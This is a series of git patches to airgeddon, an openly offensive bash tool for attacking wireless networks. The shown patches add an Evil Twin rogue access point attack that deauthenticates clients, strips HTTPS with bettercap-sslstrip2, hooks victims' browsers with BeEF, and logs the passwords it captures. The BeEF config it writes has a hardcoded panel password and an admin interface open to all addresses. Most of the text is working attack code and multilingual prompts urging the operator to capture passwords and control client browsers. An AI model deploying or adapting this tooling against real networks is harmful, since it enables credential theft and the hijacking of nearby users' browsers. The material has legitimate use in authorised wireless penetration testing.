From 6a5741da6ea41f46d0b1b294a41a859d62f66563 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 3 Jan 2017 09:34:22 +0100 Subject: [PATCH 01/55] License updated. --- LICENSE | 2 +- README.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/LICENSE b/LICENSE index 20d40b6bc..94a9ed024 100644 --- a/LICENSE +++ b/LICENSE @@ -671,4 +671,4 @@ into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read -. \ No newline at end of file +. diff --git a/README.md b/README.md index 64ac95b57..3c85dd84b 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -#airgeddon +#airgeddon [![License](https://img.shields.io/badge/License-GPL%20v3%2B-blue.svg?style=flat-square)](https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/master/LICENSE) This is a multi-use bash script for Linux systems to audit wireless networks.
![We'll conquer the earth!!][1] From 45366cc91f5b76bf6a3076b8bc32fc9f2178240b Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 9 Jan 2017 22:44:04 +0100 Subject: [PATCH 02/55] New system for possible tool aliases checking the requirements. Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framework. README.md beautified --- README.md | 39 ++-- airgeddon.sh | 514 +++++++++++++++++++++++++++++++++++++++++++++----- changelog.txt | 5 + 3 files changed, 492 insertions(+), 66 deletions(-) diff --git a/README.md b/README.md index 3c85dd84b..b827fa3bd 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,7 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
-
+ Tested on these compatible Linux distros:
*-Kali 2.0, 2016.1, 2016.2 and arm versions (Raspberry Pi)*
-*-Wifislax 4.11.1 and 4.12*
+*-Wifislax 4.11.1, 4.12 and 64-1.0*
*-Backbox 4.5.1 and 4.6*
*-Parrot 2.2.1, 3.1.1 and arm versions (Raspberry Pi)*
*-Blackarch 2016.01.10 and 2016.04.28*
@@ -50,14 +51,16 @@ Tested on these compatible Linux distros:
*-Arch 4.6.2-1 to 4.8.13-1*
*-Raspbian 7 (Wheezy) and 8 (Jessie) (Raspberry Pi)*
*-OpenMandriva LX3*
-
-It's already available in ArchStrike repositories used by some distros based on Arch Linux.
-Repositories versions will have auto-update feature disabled in order to avoid breaking dependencies. There is a var at the beginning of the file, *"auto_update"* can be set to 0 to turn off the auto-update feature.
-
+ +Airgeddon is already included in some Linux distros and repositories: + - Wifislax 4.12, 64-1.0 or higher. + - BlackArch first 2017 release or later. + - ArchStrike repository. + Anyway, can be used with any Linux distro if you have installed the tools what script needs. The script checks for them at the beginning.
-
+ We will enumerate the categories and tools. The format will be: "command -> possible package name". The command can be included in different packages depending of the distro.
-
+ Essential tools: <- *the script doesn't work if you don't have installed all of them* ``` ifconfig -> net-tools @@ -89,6 +92,8 @@ reaver -> reaver bully -> bully pixiewps -> pixiewps unbuffer -> expect +bettercap -> bettercap +beef -> beef / beef-xss ``` Update tools: <- *not necessary to work, only used for auto-update*
``` @@ -114,14 +119,14 @@ Incompatible with OpenBSD and FreeBSD. They are Unix systems but they have some *-Wireless tools* <- iwconfig doesn't exists for these systems, they use ifconfig instead and it generates very different outputs #Disclaimer -This script must be used only for educational purposes and Pen testing.
+This script must be used only for educational purposes and pentesting.
Use it only on your own networks.
We are not responsible of its use.
This script is under GPLv3 (or later) License. #Use Must be launched only using bash (not sh). Example `bash /path/to/airgeddon.sh`
-If you launch the script using sh and a *"Syntax error"* appears, launch it with **bash instead of sh**.
+If you launch the script using sh and a *"Syntax error"* appears, launch it with **bash instead of sh**. Even with no initial error, maybe you'll have it later. Use bash always! #Supported Languages English, Spanish, French, Catalan, Portuguese, Russian and Greek. @@ -132,15 +137,15 @@ You can join the project:
-More distros support compatibility.
-New features.
-Testing and feedback is needed too.
-
+ *For collaborating translators:*
You can take the strings to translate from the code or you can ask me directly by mail. I'll inform you how to proceed or to add you as a collaborator on github.
-
+ *For collaborating developers:*
Debug mode was implemented for faster development skipping intro and initial checks. Use it setting var *"debug_mode"* to 1
Please, respect the tab indentation, code style and the UTF-8 files format only using at the end of the lines LF (not CRLF).
Airgeddon code is 100% clean of warnings. Use shellcheck to search for errors and warnings on code. <- Thanks xtonousou for the tip :wink:
-
+ *For beta testers:*
You can download the master version or the beta testing version from the development branch called `dev` @@ -154,8 +159,8 @@ See [Changelog](changelog.txt) file to review changes. **Luan** for Portuguese translations.
**MiAl** for Russian translations.
**xtonousou** for Greek translations, beta testing, suggestions, the help received fixing code warnings and other stuff.
-
-Thanks to the "Spanish pentesting crew", the Wifislax staff, the Seguridadwireless.net, Wifi-libre.com and Lampiweb.com forum people that helped me.
+ +Thanks to the "Spanish pentesting crew", the Wifislax staff, the BlackArch community, the Seguridadwireless.net, Wifi-libre.com and Lampiweb.com forum people that helped me.
Thanks to the Hackware.ru admins. Thanks to all the people who helped me building the online PIN database for WPS. Thank you to Dominique Bongard for bringing to us Pixie Dust attacks. Thanks to Zhao Chunsheng and Stefan Viehböck for their wonderful algorithms.
I want to thank you too, to all developers who made and designed the third-party tools airgeddon uses.

@@ -163,8 +168,8 @@ Thank you too to other authors who inspired me with their scripts:
*vk496 -> Linset*
*MI1 -> Airstorm*
*MatToufoutu -> Ap-fucker*
-*Coeman76 -> Handshaker* -*Goyfilms -> Goyscript* +*Coeman76 -> Handshaker*
+*Goyfilms -> Goyscript*
*Kcdtv -> WPSPin* #Donate diff --git a/airgeddon.sh b/airgeddon.sh index 7ab81761a..e5e226f9a 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1,6 +1,6 @@ #!/bin/bash -airgeddon_version="5.14" +airgeddon_version="6.0" #Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 debug_mode=0 @@ -55,15 +55,10 @@ optional_tools_names=( "bully" "pixiewps" "unbuffer" + "bettercap" + "beef" ) -declare -A optional_tools=() - -#Initialize optional_tools values -for item in "${optional_tools_names[@]}"; do - optional_tools[${item}]=0 -done - update_tools=("curl") declare -A possible_package_names=( @@ -93,9 +88,16 @@ declare -A possible_package_names=( [${optional_tools_names[15]}]="bully" #bully [${optional_tools_names[16]}]="pixiewps" #pixiewps [${optional_tools_names[17]}]="expect / expect-dev" #unbuffer + [${optional_tools_names[18]}]="bettercap" #bettercap + [${optional_tools_names[19]}]="beef / beef-xss" #beef [${update_tools[0]}]="curl" #curl ) +#More than one alias can be defined separated by spaces at value +declare -A possible_alias_names=( + ["beef"]="beef-xss" + ) + #General vars standardhandshake_filename="handshake-01.cap" tmpdir="/tmp/" @@ -151,8 +153,17 @@ dhcpd_file="ag.dhcpd.conf" internet_dns1="8.8.8.8" internet_dns2="8.8.4.4" sslstrip_port="10000" +bettercap_proxy_port="8080" +bettercap_dns_port="5300" sslstrip_file="ag.sslstrip.log" ettercap_file="ag.ettercap.log" +bettercap_file="ag.bettercap.log" +beef_port="3000" +beef_control_panel_url="http://127.0.0.1:${beef_port}/ui/panel" +jshookfile="hook.js" +beef_file="ag.beef.conf" +beef_pass="airgeddon" +beef_db="beef.db" hostapd_file="ag.hostapd.conf" control_file="ag.control.sh" webserver_file="ag.lighttpd.conf" @@ -170,6 +181,11 @@ possible_dhcp_leases_files=( "/var/state/dhcp/dhcpd.leases" "/var/lib/dhcpd/dhcpd.leases" ) +possible_beef_known_locations=( + "/usr/share/beef/" + "/usr/share/beef-xss/" + "/opt/beef/" + ) #Distros vars known_compatible_distros=( @@ -204,7 +220,7 @@ declare handshake_attack_hints=(142) declare decrypt_hints=(171 178 179 208 244) declare select_interface_hints=(246) declare language_hints=(250) -declare evil_twin_hints=(254 258 264 269 309 328) +declare evil_twin_hints=(254 258 264 269 309 328 400) declare evil_twin_dos_hints=(267 268) declare wps_hints=(342 343 344 356 369 390) @@ -270,14 +286,14 @@ function language_strings() { under_construction["GREEK"]="υπό κατασκευή" under_constructionvar="${under_construction[${language}]}" - declare -gA possible_package_names - possible_package_names["ENGLISH"]="Possible package name" - possible_package_names["SPANISH"]="Posible nombre del paquete" - possible_package_names["FRENCH"]="Possible nom du paquet" - possible_package_names["CATALAN"]="Possible nom del paquet" - possible_package_names["PORTUGUESE"]="Possível nome do pacote" - possible_package_names["RUSSIAN"]="Возможное имя пакета" - possible_package_names["GREEK"]="Πιθανό όνομα πακέτου" + declare -gA possible_package_names_text + possible_package_names_text["ENGLISH"]="Possible package name" + possible_package_names_text["SPANISH"]="Posible nombre del paquete" + possible_package_names_text["FRENCH"]="Possible nom du paquet" + possible_package_names_text["CATALAN"]="Possible nom del paquet" + possible_package_names_text["PORTUGUESE"]="Possível nome do pacote" + possible_package_names_text["RUSSIAN"]="Возможное имя пакета" + possible_package_names_text["GREEK"]="Πιθανό όνομα πακέτου" declare -gA et_misc_texts et_misc_texts["ENGLISH",0]="Evil Twin AP Info" @@ -496,6 +512,14 @@ function language_strings() { et_misc_texts["RUSSIAN",26]="Ошибка. В пароле должно быть не менее 8 символов. Перенаправление на главную страницу" et_misc_texts["GREEK",26]="Σφάλμα. Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες. Θα καθοδηγηθείτε στην κύρια οθόνη" + et_misc_texts["ENGLISH",27]="This attack has two parts. Watch the sniffer's screen to see if a password appears. You can also open BeEF control panel at ${white_color}${beef_control_panel_url}${pink_color} , log in (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) and try to control the clients browser" + et_misc_texts["SPANISH",27]="Este ataque tiene dos partes. Estate atento a la pantalla del sniffer para ver si aparece alguna contraseña. También puedes abrir el panel de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , hacer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e intentar controlar el navegador de los clientes" + et_misc_texts["FRENCH",27]="${pending_of_translation} Cette attaque comporte deux parties. Vérifiez pendant l'attaque dans la console du sniffeur si un mot de passe a été capturé. Vous pouvez également ouvrir le BeEF du panneau de commande dans ${white_color}${beef_control_panel_url}${pink_color} , pour vous connecter (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) et essayer de contrôler le navigateur client" + et_misc_texts["CATALAN",27]="${pending_of_translation} Aquest atac té dues parts. Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya. També pots obrir el panell de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , fer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i intentar controlar el navegador dels clients" + et_misc_texts["PORTUGUESE",27]="${pending_of_translation} Este ataque tem duas partes. Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha. Você também pode abrir BeEF painel de controle no ${white_color}${beef_control_panel_url}${pink_color} , para login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e tentar controlar o navegador do clientes" + et_misc_texts["RUSSIAN",27]="${pending_of_translation} Эта атака состоит из двух частей. С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля. Также можно открывать панель управления BeEF в ${white_color}${beef_control_panel_url}${pink_color} , войдите в систему (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" + et_misc_texts["GREEK",27]="${pending_of_translation} Αυτή η επίθεση έχει δύο μέρη. Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός πρόσβασης. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF σε ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθούν να ελέγξουν το πρόγραμμα περιήγησης πελατών" + declare -A arr arr["ENGLISH",0]="This interface ${interface} is already in managed mode" arr["SPANISH",0]="Esta interfaz ${interface} ya está en modo managed" @@ -2577,13 +2601,13 @@ function language_strings() { arr["RUSSIAN",259]="6. Атака Злой Двойник ТД со сниффингом" arr["GREEK",259]="6. Επίθεση Evil Twin AP με sniffing" - arr["ENGLISH",260]="9. Return to main menu" - arr["SPANISH",260]="9. Volver al menú principal" - arr["FRENCH",260]="9. Retourner au menu principal" - arr["CATALAN",260]="9. Tornar al menú principal" - arr["PORTUGUESE",260]="9. Voltar ao menu principal" - arr["RUSSIAN",260]="9. Возврат в главное меню" - arr["GREEK",260]="9. Επιστροφή στο αρχικό μενού" + arr["ENGLISH",260]="10. Return to main menu" + arr["SPANISH",260]="10. Volver al menú principal" + arr["FRENCH",260]="10. Retourner au menu principal" + arr["CATALAN",260]="10. Tornar al menú principal" + arr["PORTUGUESE",260]="10. Voltar ao menu principal" + arr["RUSSIAN",260]="10. Возврат в главное меню" + arr["GREEK",260]="10. Επιστροφή στο αρχικό μενού" arr["ENGLISH",261]="7. Evil Twin AP attack with sniffing and sslstrip" arr["SPANISH",261]="7. Ataque Evil Twin AP con sniffing y sslstrip" @@ -2601,13 +2625,13 @@ function language_strings() { arr["RUSSIAN",262]="без сниффинга, перехватывающий портал" arr["GREEK",262]="χωρίς sniffing, captive portal" - arr["ENGLISH",263]="8. Evil Twin AP attack with captive portal (monitor mode needed)" - arr["SPANISH",263]="8. Ataque Evil Twin AP con portal cautivo (modo monitor requerido)" - arr["FRENCH",263]="8. Attaque Evil Twin avec portail captif (mode moniteur nécessaire)" - arr["CATALAN",263]="8. Atac Evil Twin AP amb portal captiu (es requereix mode monitor)" - arr["PORTUGUESE",263]="8. Ataque Evil Twin AP com portal cativo (modo monitor obrigatório)" - arr["RUSSIAN",263]="8. Атака Злой Двойник ТД с перехватывающим порталом (необходим режим монитора)" - arr["GREEK",263]="8. Επίθεση Evil Twin AP με captive portal (χρειάζεται η κατάσταση παρακολούθησης)" + arr["ENGLISH",263]="9. Evil Twin AP attack with captive portal (monitor mode needed)" + arr["SPANISH",263]="9. Ataque Evil Twin AP con portal cautivo (modo monitor requerido)" + arr["FRENCH",263]="9. Attaque Evil Twin avec portail captif (mode moniteur nécessaire)" + arr["CATALAN",263]="9. Atac Evil Twin AP amb portal captiu (es requereix mode monitor)" + arr["PORTUGUESE",263]="9. Ataque Evil Twin AP com portal cativo (modo monitor obrigatório)" + arr["RUSSIAN",263]="9. Атака Злой Двойник ТД с перехватывающим порталом (необходим режим монитора)" + arr["GREEK",263]="9. Επίθεση Evil Twin AP με captive portal (χρειάζεται η κατάσταση παρακολούθησης)" arr["ENGLISH",264]="The captive portal attack tries to one of the network clients provide us the password for the wifi network by entering it on our portal" arr["SPANISH",264]="El ataque del portal cautivo intentará conseguir que uno de los clientes de la red nos proporcione la contraseña de la red wifi introduciéndola en nuestro portal" @@ -3665,6 +3689,46 @@ function language_strings() { arr["RUSSIAN",395]="${pending_of_translation} Пропустив интро, размер окна больше, требуется" arr["GREEK",395]="${pending_of_translation} Παράκαμψη intro, το μέγεθος περισσότερα παράθυρο που απαιτούνται" + arr["ENGLISH",396]="8. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" + arr["SPANISH",396]="8. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" + arr["FRENCH",396]="8. Attaque Evil Twin avec capture des données et bettercap-sslstrip2/BeEF" + arr["CATALAN",396]="8. Atac Evil Twin AP amb sniffing i bettercap-sslstrip2/BeEF" + arr["PORTUGUESE",396]="8. Ataque Evil Twin AP com sniffing e bettercap-sslstrip2/BeEF" + arr["RUSSIAN",396]="8. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" + arr["GREEK",396]="8. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" + + arr["ENGLISH",397]="Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" + arr["SPANISH",397]="Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" + arr["FRENCH",397]="Attaque Evil Twin avec capture de données et bettercap-sslstrip2/BeEF" + arr["CATALAN",397]="Atac Evil Twin AP amb sniffing i bettercap-sslstrip2/BeEF" + arr["PORTUGUESE",397]="Ataque Evil Twin AP com sniffing e bettercap-sslstrip2/BeEF" + arr["RUSSIAN",397]="Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" + arr["GREEK",397]="Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" + + arr["ENGLISH",398]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${default_bettercap_logpath}]" + arr["SPANISH",398]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${default_bettercap_logpath}]" + arr["FRENCH",398]="Entrez le chemin du fichier ou bien appuyez sur [Entrée] pour utiliser le chemin proposé ${normal_color}[${default_bettercap_logpath}]" + arr["CATALAN",398]="Escriu la ruta on desarem el fitxer o prem [Enter] per acceptar la proposta per defecte ${normal_color}[${default_bettercap_logpath}]" + arr["PORTUGUESE",398]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão ${normal_color}[${default_bettercap_logpath}]" + arr["RUSSIAN",398]="Напечатайте путь до файла для сохранения или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${default_bettercap_logpath}]" + arr["GREEK",398]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${default_bettercap_logpath}]" + + arr["ENGLISH",399]="Passwords captured by sniffer. File saved at ${normal_color}[${bettercap_logpath}]" + arr["SPANISH",399]="El sniffer ha capturado contraseñas. Fichero salvado en ${normal_color}[${bettercap_logpath}]" + arr["FRENCH",399]="Des mots de passe ont été capturé et ont été enregistré dans ${normal_color}[${bettercap_logpath}]" + arr["CATALAN",399]="El sniffer ha capturat contrasenyes. Fitxer desat a ${normal_color}[${bettercap_logpath}]" + arr["PORTUGUESE",399]="O sniffer capturou senhas. I arquivo salvo no ${normal_color}[${bettercap_logpath}]" + arr["RUSSIAN",399]="Сниффер захватил пароли. Файл сохранён в ${normal_color}[${bettercap_logpath}]" + arr["GREEK",399]="Καταγράφτηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο ${normal_color}[${bettercap_logpath}]" + + arr["ENGLISH",400]="On Evil Twin attack with BeEF integrated, in addition to obtaining keys using sniffing techniques, you can try to control the client's browser launching numerous attack vectors. The success of these will depend on many factors such as the kind of client's browser and its version" + arr["SPANISH",400]="En el ataque Evil Twin con BeEF integrado, además de obtener claves con sniffing, podrás intentar controlar el navegador de los clientes lanzando numerosos vectores de ataque. El éxito de estos dependerá de muchos factores como el tipo de navegador y la versión que utilice el cliente" + arr["FRENCH",400]="${pending_of_translation} Dans l'attaque Evil Twin avec BeEF intégré, plus obtenir les clés avec reniflant, vous pouvez essayer de contrôler le navigateur du client lançant de nombreux vecteurs d'attaque. Le succès de ces dépendent de nombreux facteurs tels que le type et version du navigateur utilisé par le client" + arr["CATALAN",400]="${pending_of_translation} En l'atac Evil Twin amb Beef integrat, a més d'obtenir claus amb sniffing, podràs intentar controlar el navegador dels clients llançant nombrosos vectors d'atac. L'èxit d'aquests dependrà de molts factors com el tipus de navegador i la versió que utilitzi el client" + arr["PORTUGUESE",400]="${pending_of_translation} No ataque Evil Twin com carne integrado, além de obter chaves com sniffing, você pode tentar controlar o navegador do cliente lançando inúmeros vetores de ataque. O sucesso destes dependerá de muitos fatores, tais como tipo de navegador e versão utilizada pelo cliente" + arr["RUSSIAN",400]="${pending_of_translation} На Evil Twin нападения с BeEF интегрированным, в дополнение к получению ключей с помощью нюхают методы, вы можете попытаться контролировать браузер клиента запускать многочисленные направления атак. Успех этих будет зависеть от многих факторов, таких как вид браузера клиента и его версии" + arr["GREEK",400]="${pending_of_translation} Σε Evil Twin επίθεση με το BeEF ολοκληρωμένο, εκτός από την απόκτηση κλειδιά με τη χρήση sniffing τεχνικές, μπορείτε να προσπαθήσουν να ελέγξουν το πρόγραμμα περιήγησης του πελάτη δρομολόγηση πολλών φορέων επίθεση. Η επιτυχία αυτών των θα εξαρτηθεί από πολλούς παράγοντες, όπως το είδος του browser του πελάτη και την έκδοσή του" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" @@ -4394,6 +4458,9 @@ function select_internet_interface() { "et_sniffing_sslstrip") language_strings "${language}" 292 "title" ;; + "et_sniffing_sslstrip2") + language_strings "${language}" 397 "title" + ;; "et_captive_portal") language_strings "${language}" 293 "title" ;; @@ -5244,6 +5311,33 @@ function initialize_menu_options_dependencies() { bully_attacks_dependencies=(${optional_tools_names[15]} ${optional_tools_names[17]}) bully_pixie_dust_attack_dependencies=(${optional_tools_names[15]} ${optional_tools_names[16]} ${optional_tools_names[17]}) reaver_pixie_dust_attack_dependencies=(${optional_tools_names[14]} ${optional_tools_names[16]}) + et_sniffing_sslstrip2_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[18]} ${optional_tools_names[19]}) +} + +#Set possible changes for some commands that can be found in different ways depending of the O.S. +function set_possible_aliases() { + + for item in "${!possible_alias_names[@]}"; do + if ! hash "${item}" 2> /dev/null; then + arraliases=(${possible_alias_names[${item//[[:space:]]/ }]}) + for item2 in "${arraliases[@]}"; do + if hash "${item2}" 2> /dev/null; then + optional_tools_names=(${optional_tools_names[@]/${item}/${item2}}) + break + fi + done + fi + done +} + +#Initialize optional_tools values +function initialize_optional_tools_values() { + + declare -gA optional_tools=() + + for item in "${optional_tools_names[@]}"; do + optional_tools[${item}]=0 + done } #Set some vars depending of the menu and invoke the printing of target vars @@ -5318,6 +5412,11 @@ function clean_tmpfiles() { rm -rf "${tmpdir}${control_file}" > /dev/null 2>&1 rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1 + rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1 + rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1 + if [ "${beef_found}" -eq 1 ]; then + rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 + fi rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1 rm -rf -R "${tmpdir}${webdir}" > /dev/null 2>&1 @@ -5329,13 +5428,19 @@ function clean_tmpfiles() { rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 } -#Clean firewall rules and restore orginal routing state +#Manage cleaning firewall rules and restore orginal routing state function clean_routing_rules() { if [ -n "${original_routing_state}" ]; then echo "${original_routing_state}" > /proc/sys/net/ipv4/ip_forward fi + clean_iptables +} + +#Clean iptables rules +function clean_iptables() { + iptables -F iptables -t nat -F iptables -X @@ -5531,6 +5636,7 @@ function evil_twin_attacks_menu() { language_strings "${language}" 257 "separator" language_strings "${language}" 259 et_sniffing_dependencies[@] language_strings "${language}" 261 et_sniffing_sslstrip_dependencies[@] + language_strings "${language}" 396 et_sniffing_sslstrip2_dependencies[@] language_strings "${language}" 262 "separator" language_strings "${language}" 263 et_captive_portal_dependencies[@] print_simple_separator @@ -5600,6 +5706,22 @@ function evil_twin_attacks_menu() { fi ;; 8) + contains_element "${et_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + check_interface_wifi + if [ "$?" = "0" ]; then + et_mode="et_sniffing_sslstrip2" + et_dos_menu + else + echo + language_strings "${language}" 281 "yellow" + language_strings "${language}" 115 "read" + fi + fi + ;; + 9) contains_element "${et_option}" "${forbidden_options[@]}" if [ "$?" = "0" ]; then forbidden_menu_option @@ -5622,7 +5744,7 @@ function evil_twin_attacks_menu() { fi fi ;; - 9) + 10) return ;; *) @@ -6324,6 +6446,29 @@ function manage_ettercap_log() { fi } +#Check if the passwords were captured using bettercap and manage to save them on a file +function manage_bettercap_log() { + + bettercap_log=0 + ask_yesno 302 + if [ ${yesno} = "y" ]; then + bettercap_log=1 + default_bettercap_logpath=$(env | grep ^HOME | awk -F = '{print $2}') + lastcharbettercaplogpath=${default_bettercap_logpath: -1} + if [ "${lastcharbettercaplogpath}" != "/" ]; then + bettercap_logpath="${default_bettercap_logpath}/" + fi + default_bettercaplogfilename="evil_twin_captured_passwords-bettercap-${essid}.txt" + rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1 + tmp_bettercaplog="${tmpdir}${bettercap_file}" + default_bettercap_logpath="${bettercap_logpath}${default_bettercaplogfilename}" + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "bettercaplog" + done + fi +} + #Check if the passwords were captured using the captive portal Evil Twin attack and manage to save them on a file function manage_captive_portal_log() { @@ -6619,7 +6764,7 @@ function exec_et_sniffing_attack() { set_std_internet_routing_rules launch_dhcp_server exec_et_deauth - launch_sniffing + launch_ettercap_sniffing set_control_script launch_control_window @@ -6645,7 +6790,7 @@ function exec_et_sniffing_sslstrip_attack() { launch_dhcp_server exec_et_deauth launch_sslstrip - launch_sniffing + launch_ettercap_sniffing set_control_script launch_control_window @@ -6661,6 +6806,40 @@ function exec_et_sniffing_sslstrip_attack() { clean_tmpfiles } +#Execute Evil Twin with sniffing+bettercap-sslstrip2/beef attack +function exec_et_sniffing_sslstrip2_attack() { + + set_hostapd_config + launch_fake_ap + set_dhcp_config + set_std_internet_routing_rules + launch_dhcp_server + exec_et_deauth + prepare_beef_start + if [ "${beef_found}" -eq 1 ]; then + set_beef_config + else + beef_pass="beef" + fi + launch_beef + launch_bettercap_sniffing + set_control_script + launch_control_window + + echo + language_strings "${language}" 298 "yellow" + language_strings "${language}" 115 "read" + + kill_beef + kill_et_windows + restore_et_interface + + if [ ${bettercap_log} -eq 1 ]; then + parse_bettercap_log + fi + clean_tmpfiles +} + #Execute captive portal Evil Twin attack function exec_et_captive_portal_attack() { @@ -6719,7 +6898,7 @@ function launch_fake_ap() { "et_onlyap") hostapd_scr_window_position=${g1_topleft_window} ;; - "et_sniffing"|"et_captive_portal") + "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2") hostapd_scr_window_position=${g3_topleft_window} ;; "et_sniffing_sslstrip") @@ -6819,10 +6998,7 @@ function set_std_internet_routing_rules() { original_routing_state=$(cat /proc/sys/net/ipv4/ip_forward) ifconfig "${interface}" ${et_ip_router} netmask ${std_c_mask} > /dev/null 2>&1 - iptables -F - iptables -t nat -F - iptables -X - iptables -t nat -X + clean_iptables if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then iptables -P FORWARD ACCEPT @@ -6843,6 +7019,11 @@ function set_std_internet_routing_rules() { elif [ "${et_mode}" = "et_sniffing_sslstrip" ]; then iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ${sslstrip_port} iptables -A INPUT -p tcp --destination-port ${sslstrip_port} -j ACCEPT + elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then + iptables -A INPUT -p tcp --destination-port ${bettercap_proxy_port} -j ACCEPT + iptables -A INPUT -p udp --destination-port ${bettercap_dns_port} -j ACCEPT + iptables -A INPUT -i lo -j ACCEPT + iptables -A INPUT -p tcp --destination-port ${beef_port} -j ACCEPT fi if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then @@ -6864,7 +7045,7 @@ function launch_dhcp_server() { "et_onlyap") dchcpd_scr_window_position=${g1_bottomleft_window} ;; - "et_sniffing"|"et_captive_portal") + "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2") dchcpd_scr_window_position=${g3_middleleft_window} ;; "et_sniffing_sslstrip") @@ -6903,7 +7084,7 @@ function exec_et_deauth() { "et_onlyap") deauth_scr_window_position=${g1_bottomright_window} ;; - "et_sniffing"|"et_captive_portal") + "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2") deauth_scr_window_position=${g3_bottomleft_window} ;; "et_sniffing_sslstrip") @@ -7394,6 +7575,9 @@ function set_control_script() { "et_sniffing"|"et_sniffing_sslstrip") local control_msg=${et_misc_texts[${language},5]} ;; + "et_sniffing_sslstrip2") + local control_msg=${et_misc_texts[${language},27]} + ;; "et_captive_portal") local control_msg=${et_misc_texts[${language},6]} ;; @@ -7521,6 +7705,9 @@ function launch_control_window() { "et_sniffing_sslstrip") control_scr_window_position=${g4_topright_window} ;; + "et_sniffing_sslstrip2") + control_scr_window_position=${g4_topright_window} + ;; esac xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_file}\"" > /dev/null 2>&1 & et_process_control_window=$! @@ -7777,7 +7964,7 @@ function launch_sslstrip() { } #Launch ettercap sniffer -function launch_sniffing() { +function launch_ettercap_sniffing() { recalculate_windows_sizes case ${et_mode} in @@ -7797,6 +7984,155 @@ function launch_sniffing() { et_processes+=($!) } +#Create configuration file for beef +function set_beef_config() { + + tmpfiles_toclean=1 + rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1 + + if [ -d "${beef_path}db" ]; then + beef_db="db/${beef_db}" + fi + + { + echo -e "beef:" + echo -e " version: 'Airgeddon integrated'" + echo -e " debug: false" + echo -e " client_debug: false" + echo -e " crypto_default_value_length: 80" + echo -e " restrictions:" + echo -e " permitted_hooking_subnet: \"${et_ip_range}/24\"" + echo -e " permitted_ui_subnet: \"0.0.0.0/0\"" + #TODO: This should be permitted_ui_subnet: "127.0.0.1/32" but is not possible to use it with bettercap's proxy because of a bug + #https://github.com/evilsocket/bettercap/issues/356 + #https://github.com/beefproject/beef/issues/1337 + echo -e " http:" + echo -e " debug: false" + echo -e " host: \"0.0.0.0\"" + echo -e " port: 